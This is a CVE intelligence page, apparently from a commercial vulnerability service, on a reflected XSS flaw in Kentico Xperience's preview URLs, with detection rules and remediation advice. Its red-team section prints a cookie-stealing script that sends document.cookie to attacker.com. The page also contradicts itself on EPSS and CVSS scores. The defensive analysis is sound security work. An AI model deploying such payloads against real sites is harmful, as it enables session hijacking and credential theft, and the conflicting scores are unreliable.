☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-53738

CVE-2023-53738 Cross-Site Scripting in Kentico
📅 PUBLISHED: 2025-12-18 19:53 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Czech Republic License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-53738 is a reflected cross-site scripting (XSS) vulnerability in Kentico Xperience, a .NET-based content management system. The flaw allows authenticated users to inject malicious scripts via specially crafted page preview URLs. When a victim interacts with a page preview, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise within the Kentico application context. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for organizations using Kentico Xperience.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects the proprietary Kentico Xperience CMS. Organizations should monitor Kentico’s official channels for patch announcements and consider compensating controls.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, a reasonable CVSS v3.1 vector would be:

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Base Score: 5.4 (Medium)

  • Attack Vector (AV): Network – the attack is carried out over the network.
  • Attack Complexity (AC): Low – no special conditions are required.
  • Privileges Required (PR): Low – the attacker must be an authenticated user.
  • User Interaction (UI): Required – the victim must click on a malicious preview link.
  • Scope (S): Changed – the vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure.
  • Integrity (I): Low – limited ability to modify data.
  • Availability (A): None – no impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for session hijacking and data theft makes it a significant concern for Kentico deployments.

Deep Dive & Mechanics

The vulnerability resides in the page preview functionality of Kentico Xperience. When an authenticated user generates a preview URL for a page, the application does not properly sanitize or encode user-supplied input within the URL parameters. An attacker can craft a URL containing malicious JavaScript code. When a victim (who may be an administrator or another user) clicks on this URL, the script executes in the context of the victim’s session.

Root Cause: Insufficient input validation and output encoding in the preview URL handler. The application reflects the attacker’s input back to the browser without proper escaping, allowing script injection.

Attack Flow:

  1. Attacker logs into Kentico Xperience.
  2. Attacker crafts a malicious preview URL, e.g., https://target.com/preview?page=1&variant=<script>alert('XSS')</script>.
  3. Attacker sends this URL to a victim (e.g., via email, chat, or a compromised page).
  4. Victim clicks the link and is redirected to the preview page.
  5. The injected script executes in the victim’s browser, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual C#):

public ActionResult Preview(string pageId, string variant)
{
    // Directly reflecting user input without encoding
    ViewBag.Variant = variant;
    return View();
}

Expected Patched Code:

public ActionResult Preview(string pageId, string variant)
{
    // Encode the input to prevent XSS
    ViewBag.Variant = HttpUtility.HtmlEncode(variant);
    return View();
}

The fix involves encoding the variant parameter (or any user-supplied input) using HttpUtility.HtmlEncode or a similar method before rendering it in the response.

Exploitation & Lab Setup

Red Team

Objective: Demonstrate the XSS vulnerability in a controlled environment.

Lab Setup:

  • Install Kentico Xperience (version 13.0 or later) on a local server or VM.
  • Create a user account with at least "Editor" privileges.
  • Navigate to a page with preview functionality.

Exploitation Steps:

  1. Log in as the attacker user.
  2. Craft a malicious preview URL:
    https://kentico.local/preview?pageid=123&variant=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Send this URL to the victim (e.g., via a simulated email).
  4. When the victim clicks the link, the script executes and sends their cookies to the attacker’s server.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Objective: Detect and prevent exploitation of this vulnerability.

Detection Steps:

  • Monitor web server logs for unusual variant parameters containing <script>, onerror, or other XSS payloads.
  • Use a Web Application Firewall (WAF) to block requests with suspicious query strings.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

  • Apply input validation and output encoding to all user-supplied data in preview URLs.
  • Restrict preview functionality to trusted users only.
  • Regularly update Kentico Xperience to the latest version.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /preview or similar endpoints with variant parameter containing JavaScript code.
    • Outbound connections to attacker-controlled domains from the Kentico server (if the script exfiltrates data).
  • Host IOCs:

    • Unusual entries in web server logs (e.g., GET /preview?pageid=123&variant=<script>...).
    • Presence of unexpected JavaScript files or scripts in the browser’s developer tools.
  • File IOCs:

    • No specific file-based IOCs are expected, as this is a reflected XSS.

Detection Engineering

YARA Rule

rule Detect_Kentico_XSS_Payload {
    meta:
        description = "Detects XSS payloads in Kentico preview URLs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-53738"
    strings:
        $xss_payload = /variant=.*<script[^>]*>.*<\/script>/i
        $xss_onerror = /variant=.*onerror\s*=/i
        $xss_alert = /variant=.*alert\s*\(/i
    condition:
        any of them
}

Sigma Rule

title: Kentico Xperience Reflected XSS in Preview URL
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against Kentico Xperience preview functionality
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-53738
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - 'variant=<script'
            - 'variant=javascript:'
            - 'variant=onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in preview parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-53738 Kentico Xperience Reflected XSS Attempt"; flow:to_server,established; content:"/preview"; http_uri; nocase; content:"variant="; http_uri; nocase; pcre:"/variant=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Preview Functionality: If possible, disable the page preview feature for non-administrative users until a patch is available.
  2. Web Application Firewall (WAF): Deploy WAF rules to block requests containing XSS payloads in the variant parameter.
  3. Input Validation: Implement server-side validation to reject any variant parameter containing HTML or JavaScript.

Long-Term Fix:

  • Apply output encoding to all user-supplied data in preview URLs.
  • Monitor Kentico’s official channels for a security patch and apply it immediately upon release.
  • Conduct a security audit of the application to identify similar vulnerabilities.

Compensating Controls:

  • Enforce Content Security Policy (CSP) headers to restrict script execution.
  • Use HTTP-only cookies to mitigate session hijacking.
  • Implement strict access controls to limit who can generate preview URLs.

Valters IT
Securing Digital Ecosystems

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-53738/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.